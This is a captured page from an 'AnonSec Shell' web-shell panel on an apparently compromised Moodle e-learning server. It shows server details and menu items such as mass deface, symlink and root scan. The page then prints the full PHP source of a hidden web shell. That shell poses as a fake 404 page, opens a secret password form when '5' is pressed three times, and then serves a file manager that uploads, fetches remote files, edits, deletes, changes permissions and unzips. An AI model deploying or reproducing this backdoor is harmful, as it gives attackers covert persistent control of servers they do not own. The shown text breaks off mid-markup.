AnonSec Shell
Server IP : 41.63.0.143  /  Your IP : 216.73.216.184   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux elearning 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/moodle/local/moodle_webshell/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/moodle/local/moodle_webshell/file.php
<?php
// ================== CONFIG: PASSWORD (MD5) ==================
declare(strict_types=1);
session_start();

/*
 * Set your password here:
 * Example: md5("ehsan") = daa81269f3781c29aa5f4ef2b4617d2c
 * Change FM_PASS_MD5 to your own MD5 hash.
 */
const FM_PASS_MD5 = 'daa81269f3781c29aa5f4ef2b4617d2c'; // TODO: change to your own

$authed = isset($_SESSION['fm_auth']) && $_SESSION['fm_auth'] === true;
$loginError = '';

// Handle password submit (from fake 404 hidden form)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$authed && isset($_POST['password'])) {
    $password = (string)$_POST['password'];
    if (md5($password) === FM_PASS_MD5) {
        $_SESSION['fm_auth'] = true;
        // Redirect to same URL (avoid form resubmit)
        $qs = isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING'] !== '' ? '?' . $_SERVER['QUERY_STRING'] : '';
        header('Location: ' . ($_SERVER['PHP_SELF'] ?? '') . $qs);
        exit;
    } else {
        $loginError = 'Invalid password.';
    }
}

// If not authenticated, show fake 404 page and exit
if (!$authed) {
    http_response_code(404);

    $reqUri = htmlspecialchars($_SERVER['REQUEST_URI'] ?? '', ENT_QUOTES);
    $loginErrorHtml = $loginError !== ''
        ? '<div style="margin-top:8px;font-size:11px;color:#ff8a8a;">' . htmlspecialchars($loginError, ENT_QUOTES) . '</div>'
        : '';

    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>404 Not Found</title>
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <style>
        :root{
          --neon-pink: #ff4bce;
          --neon-cyan: #3cf2ff;
          --neon-yellow: #ffe96b;
          --deep-purple: #100020;
          --card-bg: rgba(10, 5, 25, 0.9);
        }

        *{
          box-sizing:border-box;
          margin:0;
          padding:0;
        }

        body{
          min-height:100vh;
          font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
          background:
            radial-gradient(circle at 10% 20%, #280045 0, transparent 55%),
            radial-gradient(circle at 90% 80%, #0f3443 0, transparent 55%),
            radial-gradient(circle at 50% 0%, #350048 0, #050011 70%);
          color:#eee;
          display:flex;
          align-items:center;
          justify-content:center;
          overflow:hidden;
        }

        .aurora {
          position:fixed;
          inset:-20%;
          pointer-events:none;
          background:
            radial-gradient(circle at 20% 30%, rgba(255,75,206,0.20) 0, transparent 60%),
            radial-gradient(circle at 80% 70%, rgba(60,242,255,0.18) 0, transparent 55%),
            radial-gradient(circle at 50% 100%, rgba(255,233,107,0.12) 0, transparent 65%);
          mix-blend-mode:screen;
          filter:blur(1px);
          animation: auroraMove 18s linear infinite alternate;
          z-index:0;
        }

        @keyframes auroraMove {
          0%   { transform:translate3d(0,0,0) scale(1); }
          50%  { transform:translate3d(20px,-30px,0) scale(1.05); }
          100% { transform:translate3d(-25px,25px,0) scale(1.03); }
        }

        .wrapper{
          position:relative;
          z-index:1;
          max-width:520px;
          width:90%;
          padding:24px;
        }

        .card{
          background:var(--card-bg);
          border-radius:18px;
          padding:28px 24px 22px;
          box-shadow:
            0 0 24px rgba(0,0,0,0.7),
            0 0 32px rgba(255,75,206,0.25),
            0 0 40px rgba(60,242,255,0.18);
          border:1px solid rgba(255,255,255,0.08);
          backdrop-filter: blur(16px);
          position:relative;
          overflow:hidden;
        }

        .card::before{
          content:"";
          position:absolute;
          inset:-1px;
          border-radius:inherit;
          border:1px solid transparent;
          background:
            linear-gradient(120deg, rgba(255,75,206,0.8), rgba(60,242,255,0.8), rgba(255,233,107,0.9))
            border-box;
          mask:
            linear-gradient(#000 0 0) padding-box,
            linear-gradient(#000 0 0);
          mask-composite: exclude;
          pointer-events:none;
          opacity:0.35;
        }

        .label-chip{
          display:inline-flex;
          align-items:center;
          gap:6px;
          font-size:11px;
          text-transform:uppercase;
          letter-spacing:.16em;
          color:rgba(255,255,255,0.7);
          padding:4px 9px;
          border-radius:999px;
          border:1px solid rgba(255,255,255,0.18);
          background:rgba(0,0,0,0.35);
          margin-bottom:14px;
        }
        .label-dot{
          width:7px;
          height:7px;
          border-radius:999px;
          background:radial-gradient(circle, #00ff8c 0, #008a4c 40%, transparent 70%);
          box-shadow:0 0 8px rgba(0,255,140,0.9);
        }

        .code-404{
          font-size:64px;
          line-height:1;
          font-weight:800;
          letter-spacing:.1em;
          text-transform:uppercase;
          margin-bottom:8px;
          background:linear-gradient(120deg,var(--neon-cyan),var(--neon-pink),var(--neon-yellow));
          -webkit-background-clip:text;
          color:transparent;
          text-shadow:
            0 0 12px rgba(60,242,255,0.7),
            0 0 18px rgba(255,75,206,0.7);
        }

        .headline{
          font-size:18px;
          margin-bottom:8px;
          color:#f7f7f7;
        }

        .desc{
          font-size:13px;
          line-height:1.6;
          color:rgba(230,230,230,0.85);
          margin-bottom:18px;
        }

        .desc span.url{
          color:var(--neon-cyan);
          word-break:break-all;
        }

        .hint{
          font-size:11px;
          color:rgba(200,200,200,0.65);
          display:flex;
          justify-content:space-between;
          align-items:center;
          gap:8px;
        }

        .hint-badge{
          padding:3px 8px;
          border-radius:999px;
          border:1px dashed rgba(255,255,255,0.25);
          font-size:10px;
          color:rgba(255,255,255,0.7);
        }

        .password-panel{
          margin-top:18px;
          padding-top:14px;
          border-top:1px dashed rgba(255,255,255,0.15);
          display:none;
          opacity:0;
          transform:translateY(6px);
          transition:opacity .3s ease, transform .3s ease;
        }
        .password-panel.show{
          display:block;
          opacity:1;
          transform:translateY(0);
        }

        .password-label{
          font-size:12px;
          margin-bottom:6px;
          color:rgba(255,255,255,0.8);
        }

        .password-row{
          display:flex;
          gap:8px;
          align-items:center;
        }

        .password-input{
          flex:1;
          padding:7px 10px;
          border-radius:999px;
          border:1px solid rgba(255,255,255,0.25);
          background:rgba(5,0,20,0.85);
          color:#f5f5f5;
          font-size:13px;
          outline:none;
          transition:border .2s ease, box-shadow .2s ease, background .2s ease;
        }
        .password-input:focus{
          border-color:var(--neon-cyan);
          box-shadow:0 0 0 1px rgba(60,242,255,0.45);
          background:rgba(5,0,25,0.95);
        }

        .password-btn{
          padding:7px 14px;
          border-radius:999px;
          border:1px solid rgba(255,255,255,0.4);
          background:radial-gradient(circle at 0 0, var(--neon-cyan), var(--neon-pink));
          color:#050010;
          font-size:12px;
          font-weight:600;
          cursor:pointer;
          box-shadow:
            0 0 10px rgba(60,242,255,0.6),
            0 0 16px rgba(255,75,206,0.45);
          transition:transform .15s ease, box-shadow .15s ease, filter .15s ease;
          white-space:nowrap;
        }
        .password-btn:hover{
          transform:translateY(-1px);
          filter:brightness(1.05);
          box-shadow:
            0 0 14px rgba(60,242,255,0.9),
            0 0 20px rgba(255,75,206,0.75);
        }
        .password-btn:active{
          transform:translateY(0);
          filter:brightness(0.95);
        }

        .footer{
          margin-top:10px;
          font-size:10px;
          text-align:right;
          color:rgba(200,200,200,0.5);
        }
        .footer span{
          color:var(--neon-pink);
        }

        @media (max-width:480px){
          .code-404{ font-size:46px; }
          .headline{ font-size:16px; }
          .wrapper{ padding:18px; }
          .card{ padding:20px 18px 16px; }
        }
      </style>
    </head>
    <body>
      <div class="aurora"></div>

      <div class="wrapper">
        <div class="card">
          <div class="label-chip">
            <span class="label-dot"></span>
            <span>Server Response · 404</span>
          </div>

          <div class="code-404">404</div>
          <div class="headline">Page not found</div>
          <p class="desc">
            The URL you requested is not available on this server.
            If you believe this is an error, please contact the server administrator or double-check:
            <span class="url"><?php echo $reqUri; ?></span>.
          </p>

          <div class="hint">
            <span>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</span>
            <span class="hint-badge">Apache</span>
          </div>

          <!-- Hidden password panel (appear after pressing key "5" three times) -->
          <form class="password-panel" id="passwordPanel" method="post" action="">
            <div class="password-label">Authorized access only</div>
            <div class="password-row">
              <input type="password" name="password" id="secretPassword"
                     class="password-input"
                     placeholder="Enter password…">
              <button type="submit" class="password-btn">Enter</button>
            </div>
            <?php echo $loginErrorHtml; ?>
          </form>

          <div class="footer">
           <span>Contact</span> · Administrator
          </div>
        </div>
      </div>

      <script>
        // Press key "5" three times in a row to reveal password form
        (function(){
          let count = 0;
          const targetKey = '5';
          const panel = document.getElementById('passwordPanel');
          const pwdInput = document.getElementById('secretPassword');

          window.addEventListener('keydown', function(e){
            if (e.ctrlKey || e.altKey || e.metaKey) return;

            if (e.key === targetKey) {
              count++;
              if (count >= 3) {
                if (!panel.classList.contains('show')) {
                  panel.classList.add('show');
                  setTimeout(() => { if (pwdInput) pwdInput.focus(); }, 180);
                }
                count = 0;
              }
            } else {
              count = 0;
            }
          });
        })();
      </script>
    </body>
    </html>
    <?php
    exit;
}

// ================== AUTH OK → FILE MANAGER STARTS HERE ==================

// Root = web root (DOCUMENT_ROOT) to avoid leaking absolute paths
$root = realpath($_SERVER['DOCUMENT_ROOT'] ?? getcwd()) ?: getcwd();

// Active path from ?rel= (relative to $root)
$relReq = isset($_GET['rel']) ? trim((string)$_GET['rel'], "/") : '';
$path   = realpath($root . DIRECTORY_SEPARATOR . $relReq);
if (!$path || !is_dir($path) || strpos($path, $root) !== 0) {
  $path = $root; // safe fallback
}

// ==== helpers ====
function safe_path($p){ return htmlspecialchars((string)$p, ENT_QUOTES); }

// absolute → relative from $root (no leading slash)
function rel_from_root(string $abs): string {
  global $root;
  $rel = ltrim(str_replace($root, '', $abs), DIRECTORY_SEPARATOR);
  return $rel;
}
// For title display
function relative_path(string $abs): string {
  $rel = rel_from_root($abs);
  return '/' . ($rel === '' ? '' : $rel);
}

function format_size($bytes){
  $u=['B','KB','MB','GB','TB']; $i=0;
  while($bytes>=1024 && $i<count($u)-1){ $bytes/=1024; $i++; }
  return round($bytes,2).' '.$u[$i];
}
function format_date($ts){ return $ts ? date('Y-m-d H:i:s', (int)$ts) : '-'; } // server TZ
function get_perm($f){ return sprintf('%04o', @fileperms($f) & 0x0FFF); }
function get_user_group($f){
  $uid = @fileowner($f); $gid = @filegroup($f);
  $user = ($uid!==false && function_exists('posix_getpwuid')) ? (posix_getpwuid($uid)['name'] ?? $uid) : $uid;
  $grp  = ($gid!==false && function_exists('posix_getgrgid')) ? (posix_getgrgid($gid)['name'] ?? $gid) : $gid;
  if ($user===false) $user='?'; if ($grp===false) $grp='?';
  return $user.':'.$grp;
}
function redirect_msg(string $p, string $msg, string $type='info'){
  // Always redirect with rel=
  $q = http_build_query(['rel'=> rel_from_root($p), 'msg'=>$msg, 'type'=>$type]);
  header("Location:?$q"); exit;
}
function unique_path(string $p): string{
  if (!file_exists($p)) return $p;
  $dir = dirname($p);
  $base = pathinfo($p, PATHINFO_FILENAME);
  $ext  = pathinfo($p, PATHINFO_EXTENSION);
  $i=1; do{
    $cand = $dir.DIRECTORY_SEPARATOR.$base.'_'.$i.($ext?'.'.$ext:'');
    $i++;
  } while(file_exists($cand));
  return $cand;
}

// ==== HOME button: folder where this file is located ====
$__selfAbs = realpath(__DIR__);
$homeRel   = ($__selfAbs && strpos($__selfAbs, $root) === 0) ? rel_from_root($__selfAbs) : '';

// ===== Server clock info (header clock) =====
$serverNow    = time();
$serverTzName = date_default_timezone_get();
$serverOffset = (new DateTime('now'))->getOffset();
function tz_offset_hm(int $sec){
  $sign = $sec>=0 ? '+' : '-'; $sec = abs($sec);
  $h = str_pad((string)intdiv($sec,3600),2,'0',STR_PAD_LEFT);
  $m = str_pad((string)intdiv($sec%3600,60),2,'0',STR_PAD_LEFT);
  return "UTC{$sign}{$h}:{$m}";
}

// ===== ZIP helpers =====
function zip_create(string $source, string $zipPath): bool{
  if (!class_exists('ZipArchive')) return false;
  $zip = new ZipArchive();
  if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE)!==true) return false;

  $source = rtrim($source, DIRECTORY_SEPARATOR);
  $zipReal = realpath($zipPath) ?: $zipPath;

  if (is_dir($source)) {
    $rootName = basename($source) ?: 'root';
    $zip->addEmptyDir($rootName);

    $it = new RecursiveIteratorIterator(
      new RecursiveDirectoryIterator($source, FilesystemIterator::SKIP_DOTS),
      RecursiveIteratorIterator::SELF_FIRST
    );
    foreach ($it as $fsInfo) {
      $fp = $fsInfo->getPathname();
      if (realpath($fp) === $zipReal) continue; // avoid archiving the zip itself

      $local = $rootName . DIRECTORY_SEPARATOR . ltrim(str_replace($source, '', $fp), DIRECTORY_SEPARATOR);
      if ($fsInfo->isDir()) $zip->addEmptyDir($local);
      else $zip->addFile($fp, $local);
    }
  } else {
    $zip->addFile($source, basename($source));
  }
  return $zip->close();
}
function zip_extract_to_folder(string $zipFile, string $targetDir): bool{
  if (!class_exists('ZipArchive')) return false;
  $zip = new ZipArchive();
  if ($zip->open($zipFile)!==true) return false;
  if (!is_dir($targetDir)) @mkdir($targetDir, 0755);
  $ok = $zip->extractTo($targetDir);
  $zip->close();
  return $ok;
}

// ===== Actions (early exit) =====

// Download (?download= RELATIVE)
if (isset($_GET['download'])) {
  $rel  = trim((string)$_GET['download'], '/');
  $file = realpath($root . DIRECTORY_SEPARATOR . $rel);
  if ($file && strpos($file,$root)===0 && is_file($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Content-Length: '.filesize($file));
    readfile($file); exit;
  }
  http_response_code(403); header('Content-Type: text/plain; charset=utf-8');
  echo "Download not allowed."; exit;
}

// Serve content to editor (?edit= RELATIVE)
if (isset($_GET['edit'])) {
  $rel  = trim((string)$_GET['edit'], '/');
  $file = realpath($root . DIRECTORY_SEPARATOR . $rel);
  if ($file && strpos($file,$root)===0 && is_file($file)) {
    header('Content-Type: text/plain; charset=utf-8');
    readfile($file); exit;
  }
  http_response_code(403); header('Content-Type: text/plain; charset=utf-8');
  echo "Access denied"; exit;
}

// Create file / folder
if (isset($_POST['create_type'], $_POST['create_name'])) {
  $name = basename($_POST['create_name']);
  $t = $path.DIRECTORY_SEPARATOR.$name;
  $ok = false;
  if (is_dir($path)) {
    if ($_POST['create_type']==='folder' && !file_exists($t)) $ok = @mkdir($t,0755);
    if ($_POST['create_type']==='file' && !file_exists($t)) $ok = (@file_put_contents($t,'')!==false);
  }
  redirect_msg(
      $path,
      $ok
          ? "Successfully created {$_POST['create_type']} '$name'."
          : "Failed to create '{$_POST['create_type']}' '$name'.",
      $ok ? 'success' : 'error'
  );
}

// Rename
if (isset($_POST['rename_old'], $_POST['rename_new'])) {
  $old = realpath($path.DIRECTORY_SEPARATOR.$_POST['rename_old']);
  $newName = basename($_POST['rename_new']);
  $new = $path.DIRECTORY_SEPARATOR.$newName;
  $ok = false;
  if ($old && strpos($old,$root)===0) $ok = @rename($old,$new);
  redirect_msg($path, $ok? "Successfully renamed to '$newName'." : "Rename failed.", $ok?'success':'error');
}

// Save Edit (POST: edit_file = RELATIVE)
if (isset($_POST['edit_file'], $_POST['content'])) {
  $f_rel = ltrim((string)$_POST['edit_file'],'/');
  $f     = realpath($root . DIRECTORY_SEPARATOR . $f_rel);
  $ok = false;
  if ($f && strpos($f,$root)===0) $ok = (@file_put_contents($f, $_POST['content'])!==false);
  $back = dirname($f?:$path);
  redirect_msg($back, $ok? "Saved '".basename($f)."' successfully." : "Failed to save file.", $ok?'success':'error');
}

// Local upload
if (!empty($_FILES['upload']['tmp_name']) && $_FILES['upload']['error']===UPLOAD_ERR_OK) {
  $t = $path.DIRECTORY_SEPARATOR.basename($_FILES['upload']['name']);
  $ok = @move_uploaded_file($_FILES['upload']['tmp_name'],$t);
  redirect_msg($path, $ok? "Upload succeeded: '".basename($t)."'." : "Upload failed.", $ok?'success':'error');
}

// Upload from URL
if (!empty($_POST['remote_url'])) {
  $url = $_POST['remote_url'];
  $fn  = basename(parse_url($url, PHP_URL_PATH) ?? '') ?: 'remote_'.time();
  $t   = $path.DIRECTORY_SEPARATOR.$fn;
  $c = @file_get_contents($url);
  $ok = false;
  if ($c!==false) $ok = (@file_put_contents($t,$c)!==false);
  redirect_msg($path, $ok? "Downloaded from URL successfully: '$fn'." : "Failed to download from URL.", $ok?'success':'error');
}

// Delete
if (isset($_GET['delete'])) {
  $targetName = $_GET['delete'];
  $t = realpath($path.DIRECTORY_SEPARATOR.$targetName);
  $ok = false;
  if ($t && strpos($t,$root)===0) { $ok = is_dir($t)? @rmdir($t) : @unlink($t); }
  redirect_msg($path, $ok? "Deleted '$targetName' successfully." : "Failed to delete '$targetName'.", $ok?'success':'error');
}

// Change Permission (chmod) — target RELATIVE from root
if (isset($_POST['chmod_target'], $_POST['chmod_mode'])) {
  $target = realpath($root . DIRECTORY_SEPARATOR . ltrim((string)$_POST['chmod_target'],'/'));
  $modeIn = trim((string)$_POST['chmod_mode']);
  $ok = false; $msg = "Failed to change permission.";
  if ($target && strpos($target,$root)===0 && preg_match('/^[0-7]{3,4}$/', $modeIn)) {
    $oct = strlen($modeIn)===3 ? '0'.$modeIn : $modeIn;
    $ok = @chmod($target, octdec($oct));
    $now = $ok ? get_perm($target) : $modeIn;
    $msg = $ok ? "Permission for '".basename($target)."' changed to $now." : "Failed to chmod to $modeIn.";
  }
  redirect_msg($path, $msg, $ok?'success':'error');
}

// ZIP: zip current directory (toolbar)
if (isset($_GET['zipdir'])) {
  $base = basename($path) ?: 'root';
  $zipPath = unique_path($path.DIRECTORY_SEPARATOR.$base.'.zip');
  $ok = zip_create($path, $zipPath);
  $msg = $ok ? "Compressed this folder → '".basename($zipPath)."'." : "Failed to compress this folder. (ZipArchive?)";
  redirect_msg($path, $msg, $ok?'success':'error');
}

// UNZIP (toolbar)
if (isset($_GET['unzip'])) {
  $name = basename($_GET['unzip']);
  $zipf = realpath($path.DIRECTORY_SEPARATOR.$name);
  $ok=false;
  if ($zipf && strpos($zipf,$root)===0 && is_file($zipf) && preg_match('/\.zip$/i',$zipf)) {
    $target = unique_path($path.DIRECTORY_SEPARATOR.pathinfo($zipf, PATHINFO_FILENAME));
    $ok = zip_extract_to_folder($zipf, $target);
    $msg = $ok ? "Unzipped '$name' → '".basename($target)."/'." : "Failed to unzip '$name'.";
    redirect_msg($path, $msg, $ok?'success':'error');
  }
  if (isset($_GET['unzip']) && $_GET['unzip']==='') redirect_msg($path, "Please select a .zip file first.", 'error');
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>File Manager</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
  <style>
    body { font-family: Arial, sans-serif; padding: 20px; background: #1e1e1e; color: #ddd; }
    a { color: #4da3ff; text-decoration: none; }
    table { width: 100%; border-collapse: collapse; background: #2c2c2c; table-layout: fixed; }
    th, td { padding: 10px; border-bottom: 1px solid #444; vertical-align: middle; }
    th { text-align: left; background: #252525; }
    tr:hover { background: #333; }
    .folder { font-weight: bold; }

    .modal {
      display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%;
      background: rgba(0,0,0,0.8); align-items: center; justify-content: center; z-index: 10;
    }
    .modal-content {
      background: #2c2c2c; padding: 20px; border-radius: 8px; width: 520px; color: #ddd;
      box-shadow: 0 10px 30px rgba(0,0,0,.5);
    }
    .modal textarea {
      width: 100%; height: 300px; font-family: monospace;
      background: #1e1e1e; color: #ccc; border: 1px solid #555;
    }
    input[type="text"], input[type="url"], input[type="file"], select, button {
      background: #1e1e1e; color: #ddd; border: 1px solid #555; padding: 6px 10px; border-radius: 6px;
    }
    button { margin-top: 10px; cursor: pointer; }
    .inline { display: inline-block; }

    .btn {
      display:inline-block; padding:6px 10px; border:1px solid #555;
      border-radius:6px; text-decoration:none; background:#1e1e1e;
    }
    .btn:hover { background:#242424; }

    .fa-folder        { color: #f4d03f; }
    .fa-file          { color: #ecf0f1; }
    .fa-arrow-left    { color: #5dade2; }
    .fa-upload        { color: #58d68d; }
    .fa-globe         { color: #85c1e9; }
    .fa-pen, .fa-edit { color: #f39c12; }
    .fa-trash         { color: #e74c3c; }
    .fa-download      { color: #3498db; }
    .fa-plus          { color: #ffffff; }
    .fa-folder-open   { color: #f7dc6f; }
    .fa-file-zipper   { color: #f1c40f; }
    .fa-box-open      { color: #58d68d; }

    .alert {
      border-radius: 8px; padding: 10px 14px; margin: 10px 0 16px;
      display: flex; align-items: center; gap: 10px;
    }
    .alert-success { background:#0e3b1e; border:1px solid #1f8a49; color:#b7ffd3; }
    .alert-error   { background:#3b0e0e; border:1px solid #b44141; color:#ffd2d2; }
    .alert-info    { background:#0e213b; border:1px solid #4177b4; color:#cfe4ff; }
    .alert .close  { margin-left:auto; cursor:pointer; opacity:.8; }

    .col-name { width: 36%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
    .col-date { width: 19%; }
    .col-size { width: 10%; text-align: right; }
    .col-user { width: 22%; white-space: normal; overflow-wrap: anywhere; }
    .col-perm { width: 7%;  text-align: center; font-family: monospace; }
    .col-acts { width: 6%;  text-align: right; }
    .perm-btn { cursor: pointer; padding: 2px 6px; border-radius: 4px; border: 1px dashed #666; }
    .perm-btn:hover { background:#1b1b1b; }
    .tag { font-family: monospace; }

    .server-clock {
      position: fixed; top: 8px; right: 20px; z-index: 20;
      background:#0e213b; border:1px solid #4177b4; color:#cfe4ff;
      padding:6px 10px; border-radius:8px; font-variant-numeric: tabular-nums;
      box-shadow: 0 6px 18px rgba(0,0,0,.35);
    }
  </style>
</head>
<body>

  <div class="server-clock">
    <i class="fa fa-clock"></i>
    <span id="serverClock">--:--:--</span>
    <small style="opacity:.75">
      (<?= safe_path($serverTzName) ?> / <?= tz_offset_hm($serverOffset) ?>)
    </small>
  </div>

  <h2 style="margin-top:32px;"><i class="fa fa-folder-open"></i> File Manager – <?= safe_path(relative_path($path)) ?></h2>

  <?php if (!empty($_GET['msg'])):
    $type = $_GET['type'] ?? 'info';
    $cls = 'alert-info';
    if ($type==='success') $cls='alert-success';
    elseif ($type==='error') $cls='alert-error';
  ?>
    <div id="flash" class="alert <?=$cls?>">
      <i class="fa <?= $type==='success'?'fa-check-circle':($type==='error'?'fa-times-circle':'fa-info-circle') ?>"></i>
      <span><?= safe_path($_GET['msg']) ?></span>
      <span class="close" onclick="dismissFlash()">✕</span>
    </div>
  <?php endif; ?>

  <p style="display:flex;gap:10px;align-items:center;flex-wrap:wrap;">
    <?php if ($homeRel !== ''): ?>
      <a class="btn" href="?rel=<?= urlencode($homeRel) ?>"><i class="fa fa-house"></i> Home</a>
    <?php endif; ?>

    <?php if ($path !== $root): ?>
      <a class="btn" href="?rel=<?=urlencode(rel_from_root(dirname($path)))?>"><i class="fa fa-arrow-left"></i> Back</a>
    <?php endif; ?>

    <form method="post" enctype="multipart/form-data" class="inline">
      <label><i class="fa fa-upload"></i> Upload: <input type="file" name="upload" onchange="this.form.submit()"></label>
    </form>
    <form method="post" class="inline" style="display:flex;gap:8px;align-items:center;">
      <label><i class="fa fa-globe"></i> URL: <input type="url" name="remote_url" placeholder="https://…" required></label>
      <button><i class="fa fa-paper-plane"></i> Fetch</button>
    </form>
    <span style="flex:1 1 0;"></span>
    <button onclick="openCreate('folder')"><i class="fa fa-folder"></i> New Folder</button>
    <button onclick="openCreate('file')"><i class="fa fa-file"></i> New File</button>
    <a class="btn" href="?rel=<?=urlencode(rel_from_root($path))?>&zipdir=1" onclick="return confirm('Zip all contents in this folder?');"><i class="fa fa-file-zipper"></i> Zip</a>
    <button onclick="openUnzip()" title="Unzip .zip file in this folder"><i class="fa fa-box-open"></i> Unzip</button>
  </p>

  <table>
    <tr>
      <th class="col-name">Name</th>
      <th class="col-date">Date</th>
      <th class="col-size">Size</th>
      <th class="col-user">User / Group</th>
      <th class="col-perm">Perm</th>
      <th class="col-acts">Actions</th>
    </tr>
    <?php
      $items = @scandir($path) ?: [];
      $dirs=[]; $files=[];
      foreach($items as $i) if($i!=='.' && $i!=='..'){
        $full = realpath($path.DIRECTORY_SEPARATOR.$i);
        if(!$full) continue;
        if (is_dir($full)) $dirs[]=['n'=>$i,'f'=>$full];
        else $files[]=['n'=>$i,'f'=>$full];
      }

      // row render helper
      function row_dir($d,$path){
        $perm = get_perm($d['f']);
        $ug   = safe_path(get_user_group($d['f']));
        $name = safe_path($d['n']);
        $purl = urlencode($d['n']);
        $mtime = @filemtime($d['f']);
        echo "<tr>";
        echo "<td class='col-name folder'><i class='fa fa-folder'></i> <a href='?rel=".urlencode(rel_from_root($d['f']))."'>$name</a></td>";
        echo "<td class='col-date'>".format_date($mtime)."</td>";
        echo "<td class='col-size'>-</td>";
        echo "<td class='col-user' title='$ug'>$ug</td>";
        echo "<td class='col-perm'><span class='perm-btn tag' onclick=\"openPerm('".addslashes(rel_from_root($d['f']))."','$perm')\">$perm</span></td>";
        echo "<td class='col-acts'>
                <a href='?rel=".urlencode(rel_from_root($path))."&delete=$purl' onclick='return confirm(\"Delete this folder?\")' title='Delete'><i class='fa fa-trash'></i></a> |
                <a href='#' onclick=\"openRename('$name')\" title='Rename'><i class='fa fa-edit'></i></a>
              </td>";
        echo "</tr>";
      }
      function row_file($f,$path){
        $perm = get_perm($f['f']);
        $ug   = safe_path(get_user_group($f['f']));
        $name = safe_path($f['n']);
        $purl = urlencode($f['n']);
        $size = @filesize($f['f']); $size = $size===false? 0 : $size;
        $mtime = @filemtime($f['f']);
        echo "<tr>";
        echo "<td class='col-name'><i class='fa fa-file'></i> $name</td>";
        echo "<td class='col-date'>".format_date($mtime)."</td>";
        echo "<td class='col-size'>".format_size($size)."</td>";
        echo "<td class='col-user' title='$ug'>$ug</td>";
        echo "<td class='col-perm'><span class='perm-btn tag' onclick=\"openPerm('".addslashes(rel_from_root($f['f']))."','$perm')\">$perm</span></td>";
        echo "<td class='col-acts'>
                <a href='#' onclick=\"openEdit('".addslashes(rel_from_root($f['f']))."')\" title='Edit'><i class='fa fa-pen'></i></a> |
                <a href='?download=".urlencode(rel_from_root($f['f']))."' title='Download'><i class='fa fa-download'></i></a> |
                <a href='?rel=".urlencode(rel_from_root($path))."&delete=$purl' onclick='return confirm(\"Delete this file?\")' title='Delete'><i class='fa fa-trash'></i></a> |
                <a href='#' onclick=\"openRename('$name')\" title='Rename'><i class='fa fa-edit'></i></a>
              </td>";
        echo "</tr>";
      }

      foreach($dirs as $d)  row_dir($d,$path);
      foreach($files as $f) row_file($f,$path);

      $zipOptions = '';
      foreach ($files as $f) {
        if (preg_match('/\.zip$/i', $f['n'])) {
          $z = safe_path($f['n']);
          $zipOptions .= "<option value=\"{$z}\">{$z}</option>";
        }
      }
    ?>
  </table>

  <!-- Rename Modal -->
  <div id="modalRename" class="modal">
    <div class="modal-content">
      <h3><i class="fa fa-edit"></i> Rename</h3>
      <form method="post">
        <input type="hidden" name="rename_old" id="rename_old">
        <input type="text" name="rename_new" id="rename_new" placeholder="New name">
        <div style="margin-top:10px;display:flex;gap:10px;justify-content:flex-end">
          <button>Rename</button>
          <button type="button" onclick="closeModal('modalRename')">Cancel</button>
        </div>
      </form>
    </div>
  </div>

  <!-- Edit Modal -->
  <div id="modalEdit" class="modal">
    <div class="modal-content">
      <h3><i class="fa fa-pen"></i> Edit File</h3>
      <form method="post">
        <textarea name="content" id="edit_content"></textarea>
        <input type="hidden" name="edit_file" id="edit_file">
        <div style="margin-top:10px;display:flex;gap:10px;justify-content:flex-end">
          <button>Save</button>
          <button type="button" onclick="closeModal('modalEdit')">Cancel</button>
        </div>
      </form>
    </div>
  </div>

  <!-- Create Modal -->
  <div id="modalCreate" class="modal">
    <div class="modal-content">
      <h3 id="createTitle"><i class="fa fa-plus"></i> Create</h3>
      <form method="post">
        <input type="text" name="create_name" id="create_name" placeholder="Name">
        <input type="hidden" name="create_type" id="create_type">
        <div style="margin-top:10px;display:flex;gap:10px;justify-content:flex-end">
          <button>Create</button>
          <button type="button" onclick="closeModal('modalCreate')">Cancel</button>
        </div>
      </form>
    </div>
  </div>

  <!-- Unzip Modal -->
  <div id="modalUnzip" class="modal">
    <div class="modal-content">
      <h3><i class="fa fa-box-open"></i> Unzip File</h3>
      <form method="get">
        <input type="hidden" name="rel" value="<?= safe_path(rel_from_root($path)) ?>">
        <?php if ($zipOptions): ?>
          <label>Select .zip file in this folder:</label><br>
          <select name="unzip" style="min-width:300px"><?= $zipOptions ?></select>
          <div style="margin-top:10px;display:flex;gap:10px;justify-content:flex-end">
            <button>Unzip</button>
            <button type="button" onclick="closeModal('modalUnzip')">Cancel</button>
          </div>
        <?php else: ?>
          <p style="margin:0 0 10px">No .zip files in this folder.</p>
          <div style="display:flex;gap:10px;justify-content:flex-end">
